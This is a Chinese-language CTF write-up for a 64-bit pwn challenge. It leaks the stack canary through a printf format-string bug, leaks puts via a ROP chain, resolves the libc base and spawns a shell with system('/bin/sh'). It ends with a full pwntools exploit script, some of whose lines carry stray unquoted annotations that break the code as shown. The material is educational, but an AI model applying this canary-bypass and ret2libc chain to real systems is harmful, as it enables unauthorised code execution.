pwn
这道题目开了canary,和之前的套路相似,就是要泄露canary,利用栈溢出找到system和/bin/sh,拿到访问权限
看一下函数
printf存在格式化字符串漏洞可以用于泄漏canary
p.sendlineafter("ID:","%15$p") #不解释了这个要打印的是第十五个参数,也就是canary的值
p.recvuntil("Hello ")#输出hello之后
s=int(p.recvuntil("00"),16)canary的值
print hex(s)#把它打印出来
然后因为里面system和/bin/sh,想要找到,就要找到libc库,要找libc库就可以想办法泄漏某个函数地址
我在这里学到的是一般泄露puts函数
p.sendlineafter("Tell me the size of your story:\n",str(129))#一定要大于128,所以大于就可以随便写
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi) #把canary写进去,找到rdi地址,把puts的got写进去,相当于参数,调用puts,返回main函数
pay+=p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
p.sendlineafter("can speak your story:\n",pay)
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
print hex(puts_addr)
a1实际上就是s的形式参数,循环输入,总会溢出的,所以查看s段,构造payload链泄漏puts地址,真实的地址!!!
https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
这个网站可以直接查地址很不错
懒懒的我,这里要找system和/bin/sh的地址等于
p64(libc_base+offset)
p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(libc_base+(0x18cd57))+p64(libc_base+(0x045390))
重要的是,因为要再一次重新泄漏canary,然后执行就可以cat flag了
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
找到libc_base
完整exp
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux', arch='amd64', log_level='debug')
p=process("./story")
elf = ELF("./story")
pop_rdi=0x400bd3
read_got=elf.got["read"]
put_plt=elf.plt["puts"]
main=0x400876
p.sendlineafter("ID:","%15$p")
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)
print hex(s) ————————————————泄漏canary
p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
p.sendlineafter("can speak your story:\n",pay)
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
print hex(puts_addr)——————————泄漏puts函数
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")——————————找到libc_base
p.sendlineafter("ID:","%15$p")
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)
print hex(s)————— —————————再一次执行过程中需要重新泄漏canary,因为canary的值会变的
p.sendlineafter("Tell me the size of your story:\n",str(129))
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(libc_base+(0x18cd57))+p64(libc_base+(0x045390))
p.sendlineafter("You can speak your story:\n",pay)
p.interactive()
执行就好了呀
完成了呀!!!!!